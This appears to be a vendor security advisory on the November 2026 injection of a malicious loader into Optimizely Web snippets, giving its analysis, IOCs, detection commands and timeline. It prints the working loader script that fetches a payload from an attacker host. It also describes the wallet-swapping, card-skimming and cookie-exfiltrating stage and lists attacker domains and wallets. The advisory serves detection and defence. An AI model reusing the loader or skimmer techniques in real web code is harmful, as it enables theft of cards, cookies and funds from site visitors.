critical

CVE

Not assigned

CWE

CWE-829, CWE-506, CWE-284

Affected Surface

  • Optimizely Web Experimentation snippets (`cdn.optimizely.com/js/<project-id>.js`, and the same snippets served from customer domains) whose Project JavaScript field carried the injected loader between about `04:21` and `23:11 UTC` on 16 November 2026
  • 188 of 1,611 snippets checked by Report URI, belonging to 178 organizations, including Zoom, BBC, CNN, Fox News, Salesforce, GitLab, HSBC, Equifax, IKEA, Air France-KLM, Ledger, Peacock and Optimizely's own `optimizely.com` and `login.optimizely.com`
  • Visitors to those sites who copied or pasted crypto wallet addresses, typed card details into the site's own form fields, or browsed on iOS 18.6 or earlier during the exposure window

Update, 18 November 2026 (Optimizely’s interim incident report: how the attacker got in, the PCI CDN, and new IOCs): Optimizely has sent customers an interim Security Incident Report dated 17 November, and CSO Online has quoted the customer email. What’s new:

  • Entry point. The attacker created Web Experimentation accounts through the signup flow from 00:37 UTC on 16 November, from IPs that include ExpressVPN exits. A flaw in that flow let those accounts act as existing administrator users on customer accounts “through a combination of public information and brute force”. Account and project IDs are in every public snippet, and the attacker guessed variations of customer employees’ email addresses, up to thousands of times per customer. Access to one customer gave no access to another. Optimizely says no passwords were stolen and no Optimizely admin account was breached, and that the impersonation bypassed SSO.
  • Optimizely’s timeline doesn’t match the public one. Optimizely says the first malicious Project JavaScript was written at 07:51 UTC. It blocked delivery at Cloudflare at 16:06, closed the signup flaw at 16:10, ended sessions and reset the impersonated users at 16:53, and removed all injected code at 22:24 UTC. Report URI saw the BBC snippet loading webshell[.]lol from 04:21 UTC and the last infected snippet at 23:11 UTC. Optimizely hasn’t explained the gap. Use the wider window, from 04:00 UTC, when you search your logs.
  • The PCI CDN was hit too. Optimizely confirms cdn-pci.optimizely.com, its high-security snippet host for payment pages, served the injected code, because “the mechanism used to inject the script bypassed our protections”.
  • Replaced, not just appended. Where a customer already had Project JavaScript, the attacker’s code replaced it. Optimizely restored the original code, which shows up as an “Optimizely Support” change in project history.
  • New infrastructure. Mandiant, which Optimizely has engaged for forensics, names pay.pay-cloud[.]online as a skimmer host. Optimizely names pay-relay.wordpressadmin001.workers[.]dev as the skimmer’s exfiltration endpoint. It says the actor has run two C2 frameworks, ADAPTAGENT and CUPCAKE C2, from pay-cloud[.]online since at least September, and uses the same infrastructure for card skimmers in other campaigns. Attribution is pending. These hosts don’t appear in Report URI’s or StepSecurity’s analysis of track.js, so add them to the blocklist alongside 1688360[.]cc rather than instead of it.
  • What Optimizely tells customers. It says passwords and API tokens don’t need to be reset and that Web Experimentation is safe to re-enable. Cards entered in hosted payment iframes (Stripe, Adyen) were out of reach. Optimizely only sees when the injected code loaded, not what it captured, so it can’t say whether any card data was taken. That depends on your own web, CDN and CSP logs. A final root-cause report and IOC list will follow Mandiant’s investigation.

TL;DR

Optimizely Web is an A/B testing product. Each customer site loads a JavaScript snippet from cdn.optimizely.com that holds Optimizely’s runtime, the customer’s experiments, and an optional Project JavaScript field that runs on every page. On 16 November 2026 an attacker wrote a loader into that field across a large number of unrelated customer projects. The snippets were still served from Optimizely’s CDN with Optimizely’s certificate, so every affected site trusted them.

Scott Helme of Report URI checked 1,611 Optimizely snippets that evening and found the loader in 188 of them, belonging to 178 organizations. The list includes Zoom, the BBC, CNN, Fox News, Salesforce, GitLab, HSBC, Equifax, IKEA, Air France-KLM, Ledger, Peacock and Optimizely’s own login page. Optimizely confirmed the incident on its status page at 01:02 UTC on 17 November. It told BleepingComputer and Gizmodo that the attacker exploited a vulnerability in the Experimentation account signup flow, and said it has fixed the flaw, removed the injected code, ended sessions, revoked tokens and notified affected customers. It has not said how a signup bug gave write access to other companies’ projects.

The second stage, 1688360[.]cc/track.js, did four things on every page that loaded it:

  • replaced crypto wallet addresses in the page, the clipboard and outgoing requests with the attacker’s;
  • skimmed card number, expiry and CVV from the site’s own form fields and fetch/XHR bodies;
  • sent the page URL, non-HttpOnly cookies and an html2canvas screenshot to the attacker after a wallet swap;
  • on iPhone and iPad, loaded routers for the Coruna (iOS 13 to 17) and DarkSword (iOS 18.x) exploit kits.

Report URI says every infected snippet was clean by 23:11 UTC on 16 November, and the payload domain was put on registry hold at 00:37 UTC on 17 November. The attacker’s wallets had received about $7,000 by then and were emptied between 04:11 and 05:39 UTC on 17 November. Nobody outside Optimizely and the attacker knows how many cards or cookies were taken.

What to do now:

  1. If you run Optimizely Web, open the Project JavaScript of every project and the custom code of every experiment. Remove anything you didn’t write. Search for 1688360, atob(, eval( and webshell, but read the code too: one loader variant base64-encodes the URL and another inlines the full payload.
  2. List the users, API tokens and integrations on your Optimizely account, remove anything you don’t recognize, and ask Optimizely which of your projects were modified, when, and by which account.
  3. Treat card data typed into your own checkout fields on 16 November, and secrets held in non-HttpOnly cookies, as exposed. Rotate the cookies and tell your payment processor.
  4. Block the domains in the IOC section and search proxy, DNS and CSP report logs from 04:00 UTC on 16 November onward.

Affected products and projects

EcosystemComponentAffectedFixed or safe state
SaaS-hosted JavaScriptOptimizely Web Experimentation snippet, cdn.optimizely.com/js/<project-id>.jsSnippets whose Project JavaScript carried the loader, first seen 04:21 UTC and last seen 23:11 UTC on 16 November 2026 (Report URI)Optimizely says the vulnerable signup path is blocked and the injected code is removed. Each customer still has to confirm its own projects are clean
Self-hosted copies of the same snippetFor example opt.scheels.com/js/<id>.js and www.vodafone.com.au/js/<id>.jsSame window. These serve the content of the same Optimizely projectSame as above
Earlier wave (same injector)Kissmetrics, StorifyMe and Minute Media scripts loading webshell[.]lol/get.js13 to 16 November 2026 on sites including securitybank.com, faz.net, smh.com.au, vidaxl and foxsports.com (Report URI)Not included in the 178-organization count. Check those vendors’ tags as well
End usersBrowsers that loaded an infected pageCopy/paste of wallet addresses, card entry in first-party form fields, iOS 18.6 or earlierCards entered in cross-origin hosted payment iframes (Stripe, Adyen and similar) were out of reach. iOS 18.7.3 and later and 26.3 and later are listed as patched in the kit’s own comments

Technical analysis

1. The injection point

An Optimizely Web snippet is one generated JavaScript file per project. The customer’s own code lives in a projectJS function inside it. Nothing else in the snippet changed, so a diff against the previous day’s file shows only the new projectJS body. Here is the loader Report URI recovered from Zoom’s snippet:

"projectJS": function(){(function(){try{var s=document.createElement('script');s.src='https://1688360.cc/track.js';s.async=true;(document.head||document.documentElement).appendChild(s);}catch(e){}})();
  • document.createElement('script') and appendChild add a new script element at runtime. A Content-Security-Policy that trusts the Optimizely snippet through 'strict-dynamic' also trusts this child script.
  • s.async=true keeps the page from blocking on the request, so nothing looks slow.
  • The empty catch(e){} hides any error from the site’s own error reporting.
  • Appending to document.head||document.documentElement makes it work on pages that don’t have a <head> yet when projectJS runs.

Report URI saw two other versions. One builds the same URL from a base64 string with atob(), so grepping a snippet for 1688360 misses it. Smartsheet’s snippet was cleaned once and then re-infected with this variant, which tells you the attacker still had write access at that point. The third version carries an inline copy of the whole payload and runs it through eval when 1688360[.]cc is blocked. That fallback is why HSBC was hit even though its CSP blocked track.js and the exfiltration endpoints: its policy allowed 'unsafe-eval', which Optimizely’s documentation tells customers to permit.

Report URI is clear that this was not CDN cache poisoning. Optimizely’s CDN served exactly what each project contained. The open question is how the attacker got write access to projects belonging to different companies. Optimizely only says the entry point was the account signup flow.

2. The second stage, track.js

We could not retrieve track.js ourselves: the domain stopped resolving on 17 November and the archived copies need an authenticated session to download. The behavior below comes from Report URI’s and StepSecurity’s readings of the file and from Cynet’s analysis of the iOS stage. Report URI counted 26 builds on 16 November. The final build (SHA-256 f7b84b9a…bad40) went live at about 17:56 UTC and is about 30 KB. The server sent cache-control: max-age=15, so the operator could replace the file within seconds.

Wallet swapper. The script carries replacement addresses for BTC, ETH and other EVM chains, TRON, Solana, TON, Litecoin, Bitcoin Cash and Dogecoin. It only swaps an address that passes that chain’s checksum, so the victim’s wallet accepts the replacement. StepSecurity found it only swaps when nearby text contains a payment word such as “wallet”, “deposit” or “send”. It rewrites addresses in page text, form inputs, link and image attributes, copy events, navigator.clipboard, navigator.share, window.open, navigation, and the URL and body of fetch and XHR requests. It also replaces Function.prototype.call and apply, so a wallet-like string is rewritten before any function receives it. A visitor who copied an address from an infected tab could paste the attacker’s address into a wallet app.

Cookie and screenshot theft. After the first swap next to payment wording, the script loads html2canvas.min.js from the payload server, renders the visible page to a JPEG, and POSTs it to /hit.php with the page URL, up to 8,000 characters of document.cookie and up to 20 of the original addresses. It runs once per page load and only after a swap. HttpOnly cookies are out of its reach.

Card skimmer. Added at 13:43 UTC. It wraps fetch and XHR and listens for form submits. It looks for a Luhn-valid card number with a known brand prefix, an expiry date and a three- or four-digit CVV, and sends them with the page URL to /card.php using navigator.sendBeacon. It keeps each captured card in sessionStorage under a key starting with cc_ so it doesn’t send the same card twice. That leaves card data in the victim’s browser storage. It cannot read fields inside a cross-origin payment iframe.

iOS branch. On iPhone, iPad and iPod user agents it adds boot.js from two .icu routers. Based on the iOS version it loads an exploit chain in a hidden iframe: Coruna (/A8/, plus /JIUJIU888/index.js) for iOS 13 to 17, DarkSword (/B9/, /D11/, /D12/) for iOS 18.x, and a separate /C10/ chain for iOS 26 that only fingerprinted the device when Report URI looked. On iOS 18.6 or earlier the page reloads every 60 seconds to retry. Report URI says the Coruna loader is byte-identical to a sample it analyzed in October from a different campaign. We covered a related Coruna delivery through npm in May (art-template npm compromise).

Nobody has shown a successful iPhone compromise from this campaign. Hudson Rock told SecurityWeek the evidence supports a link to exploit-kit delivery infrastructure but does not establish a zero-day or successful device exploitation. Cynet pulled the iOS stage with an emulated browser and calls it conditional delivery, not a confirmed compromise. Treat older iOS devices that visited affected sites as candidates for triage, not as confirmed infections.

3. Why CSP mostly didn’t help

Report URI crawled 256 of the affected organizations’ own hosts and tested their CSP against what the payload needed:

ResultOrganizations
No CSP68
CSP allowed the payload and the data theft50
Payload ran, but connect-src blocked card, cookie and screenshot exfiltration (address swapping still worked)17
Payload blocked24

Allowlisting cdn.optimizely.com did nothing, because the loader came from that host. The sites that were protected had a script-src that listed specific hosts and did not include 'strict-dynamic' or 'unsafe-eval'. connect-src stopped the exfiltration on 17 more sites, but the address swap runs inside the page and needs no network call.

Subresource Integrity is not practical here either. The snippet changes every time someone publishes an experiment, so there is no stable hash to pin.

IOCs

All domains are defanged. Block them including subdomains.

Domains and IPs

IndicatorRole (source)
1688360[.]ccPayload and exfiltration host: /track.js, /html2canvas.min.js, /hit.php, /card.php. Registered 16 Nov 05:23:08 UTC, on clientHold since 17 Nov 00:37 UTC (Report URI, StepSecurity)
136.113.106[.]136Last A record for 1688360[.]cc, Google Cloud us-central1 (StepSecurity)
webshell[.]lolInjector get.js for the earlier wave and the first BBC injection. First seen 17 Sep 2026, on clientHold since 17 Nov 03:37 UTC (Report URI)
linkforge[.]ccSEO-panel script that carried the injector (Report URI)
5vobauua3ojpklx[.]icu, p55abnw2pnsz0bo[.]icuiOS router boot.js. Registered 9 Nov 17:52:42 UTC, resolve to 34.96.213[.]201 (Report URI, StepSecurity)
eil786npto9u5bq[.]icu, 1y69gy2mdzaltz1[.]icu, gm38duxoihbmy5o[.]icuiOS router and Coruna/iOS 26 pages. Registered 16 Nov 16:38:42 UTC, resolved to 34.87.36[.]58 (Report URI, StepSecurity)
l7bcsnwc7nzr3uo[.]icuCoruna telemetry, POST /api/iptj. Registered 28 Oct, behind Cloudflare (Report URI, StepSecurity)
je4ft3gn8vxudum[.]icu, q1ls1ho9x7wsxlu[.]icu, ios-hack[.]icuFallback C2s hard-coded in boot.js (Report URI)
pay-relay.wordpressadmin001.workers[.]devSkimmer exfiltration endpoint. Any browser request from your site to it is a strong sign the skimmer ran (Optimizely interim report)
pay-cloud[.]online, pay.pay-cloud[.]onlineSkimmer host. Also runs ADAPTAGENT and CUPCAKE C2 since at least September (Mandiant via Optimizely)
193.176.211[.]170, 193.176.211[.]203ExpressVPN exits used to create the signup accounts. Ephemeral, reference only (Optimizely)

File hashes (track.js, SHA-256)

  • 814a963c0da480e2449d9b6664480156e1cd6d731014117401bf635badec3a0f (17:13 UTC build, Report URI)
  • 617df364120adc47fb4f55dcc0c69a9b6c9e108a92c60bc2b64a266254ab02f3 (urlscan’s first capture, about 28 KB, StepSecurity)
  • f7b84b9a94f749f8ced3f0112d0a66894e8bbc3b4aa5592021d1b8976a9bad40 (final build, live from about 17:56 UTC)

There were 26 builds, so match on domains and behavior rather than on one hash.

In-page artifacts

  • Globals window._k7, window.__k7b, window._cc, window._qxc, window._shot
  • sessionStorage keys starting with cc_
  • Non-native Function.prototype.call and Function.prototype.apply
  • Script tag attribute data-channel-code="02111110" on the iOS loader; Coruna telemetry channel code BIGNIAO
  • POST of type text/plain to /hit.php; sendBeacon to /card.php with fields n, e, c, u

Attacker wallets (hard-coded replacement addresses)

  • BTC 19g9rZcPeiz8rUvyWpTRyXXhPnjsWrc3kW
  • ETH/EVM 0xC4026b06D82b0F0B363eda0642D61CfbDc17884e
  • TRON THvs6p56XkUiMkJeSc51cAP64u2RsTYqxa
  • SOL FVtL8NMYS9PA1v3HE67XUGCtGA9JaZUvqav2fU2LrV5n
  • TON UQAgM1VqSZQiJLSG5w-ovurq5CZdxLEK3_7CMmwALTA5e09p
  • LTC ltc1q3wp7g6ds0ggg6fl6kncpa4sepn0q3qfacgred5
  • BCH qzkaaf8n6grmpr0d9lx8xutn3r9lk722f566hhpe58
  • DOGE DBEGrxRF7KMSuhTS4c1MFviStU6efdMnu5

Report URI says the TRON cash-out address TMLQvDvpgSyx94maptc3TxvmCVtT5qHVup also received funds from this actor’s earlier operations in March 2026 and on 3 November 2026.

Detection and remediation

Pull every Optimizely snippet you serve and look for the loader. Run this against the CDN path and against any copy served from your own domain:

# Replace with the project IDs in your snippet URLs
for id in 1234567890 2345678901; do
  for host in cdn.optimizely.com www.example.com; do
    curl -s "https://${host}/js/${id}.js" -o "snippet-${host}-${id}.js"
    echo "== ${host} ${id}"
    grep -nE '1688360|webshell|linkforge|\.icu/|atob\(|eval\(' "snippet-${host}-${id}.js" | cut -c1-200
  done
done

A match on atob( or eval( is not proof by itself, because legitimate experiment code can use both. Open the projectJS function and every experiment’s custom code and read it.

Search your logs and CSP reports for the payload hosts:

# Proxy, DNS or CDN logs from 2026-11-16T04:00Z onward
zgrep -hE '1688360\.cc|webshell\.lol|linkforge\.cc|5vobauua3ojpklx\.icu|eil786npto9u5bq\.icu|l7bcsnwc7nzr3uo\.icu|p55abnw2pnsz0bo\.icu|1y69gy2mdzaltz1\.icu|gm38duxoihbmy5o\.icu' \
  /var/log/proxy/*.gz /var/log/dns/*.gz 2>/dev/null | head

# CSP violation reports (JSON lines) that name the payload host
jq -c 'select(."csp-report"."blocked-uri" // "" | test("1688360|webshell|\\.icu"))' csp-reports.jsonl

In a browser session on one of your own pages, check for the payload’s globals and hooks from the DevTools console:

[typeof window._k7, typeof window.__k7b, Function.prototype.call.toString().includes('[native code]'),
 Object.keys(sessionStorage).filter(k => k.startsWith('cc_'))]

A clean page returns ["undefined", "undefined", true, []].

Then tighten the policy so a future injection through a tag vendor can’t load or phone home:

Content-Security-Policy: script-src 'self' https://cdn.optimizely.com https://<other-known-hosts>; connect-src 'self' https://*.optimizely.com https://<your-apis>; frame-src 'self' https://<payment-provider>; report-to csp

Leave out 'strict-dynamic' on pages that load third-party tag managers or experimentation snippets. Drop 'unsafe-eval' where your Optimizely features allow it, and test first, because Optimizely documents it as a requirement for some features. Keep card entry in the payment provider’s hosted fields in a cross-origin iframe.

Rotate or reset:

  • Optimizely user passwords, SSO sessions and API tokens, and any integration credentials stored in Optimizely.
  • Session or auth tokens kept in non-HttpOnly cookies on affected domains.
  • Cards entered in first-party form fields on 16 November: tell your processor and the affected customers.
  • Staff who handled crypto transfers on affected sites should check each destination address on the wallet or hardware-wallet screen.
  • iOS devices on 18.6 or earlier (or 17 and earlier) that visited affected sites: update to iOS 18.7.3, 26.3 or later and consider forensic triage.

Timeline

All times UTC.

  • 2026-09-17: webshell[.]lol first appears, injected into Turkish sites through an SEO backlink-panel script (Report URI).
  • 2026-10-28: l7bcsnwc7nzr3uo[.]icu registered (StepSecurity).
  • 2026-11-09 17:52: 5vobauua3ojpklx[.]icu and p55abnw2pnsz0bo[.]icu registered. Public scans show 5vobauua3ojpklx[.]icu serving /A8/a.html on 12 November.
  • 2026-11-13 to 2026-11-16: Earlier wave loads webshell[.]lol/get.js through Kissmetrics, StorifyMe and Minute Media scripts.
  • 2026-11-16 00:37: Attacker starts creating Web Experimentation accounts through the signup flow (Optimizely).
  • 2026-11-16 04:21: First Optimizely injection seen by Report URI: the BBC snippet starts loading webshell[.]lol.
  • 2026-11-16 05:23: 1688360[.]cc registered.
  • 2026-11-16 08:10 to 08:28: First build of track.js; first public scan of bbc.com loading it.
  • 2026-11-16 07:51: First malicious Project JavaScript write, according to Optimizely’s logs.
  • 2026-11-16 13:03 to 13:05: First sweep of stolen stablecoins from the TRON and BSC wallets.
  • 2026-11-16 13:34: Optimizely detects the activity.
  • 2026-11-16 13:43: Card skimmer added to track.js.
  • 2026-11-16 16:06 to 16:53: Optimizely blocks the code at Cloudflare (16:06), closes the signup flaw (16:10), and ends sessions and resets the impersonated users (16:53).
  • 2026-11-16 16:38: Second batch of iOS router domains registered.
  • 2026-11-16 17:13 to 17:57: Second iOS host added and the Coruna iframe injected for iOS 18.6 or earlier. Final track.js build goes live.
  • 2026-11-16 19:24 to 19:59: Report URI’s sweep finds 186 of 1,611 snippets infected.
  • 2026-11-16 20:40 to 21:10: Mass clean-up of customer projects (Ledger 20:41, Smartsheet 20:56, BBC 21:07).
  • 2026-11-16 21:52: One snippet (TalkTalk) still infected.
  • 2026-11-16 22:24: Optimizely says injected code is removed from all affected projects.
  • 2026-11-16 23:11: Report URI observes every infected snippet clean.
  • 2026-11-17 00:37: 1688360[.]cc placed on clientHold.
  • 2026-11-17 01:02: Optimizely posts the Web Experimentation Security Incident on its status page.
  • 2026-11-17 03:37: webshell[.]lol placed on clientHold.
  • 2026-11-17 04:11 to 05:39: Attacker empties the LTC, ETH and BTC wallets.
  • 2026-11-17 07:30 to 09:17: StepSecurity and Report URI publish updated analyses. Optimizely’s incident is still in “Monitoring”.
  • 2026-11-17: Optimizely sends customers its interim Security Incident Report, naming the signup-flow impersonation, the PCI CDN exposure, and Mandiant’s pay-cloud[.]online finding.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References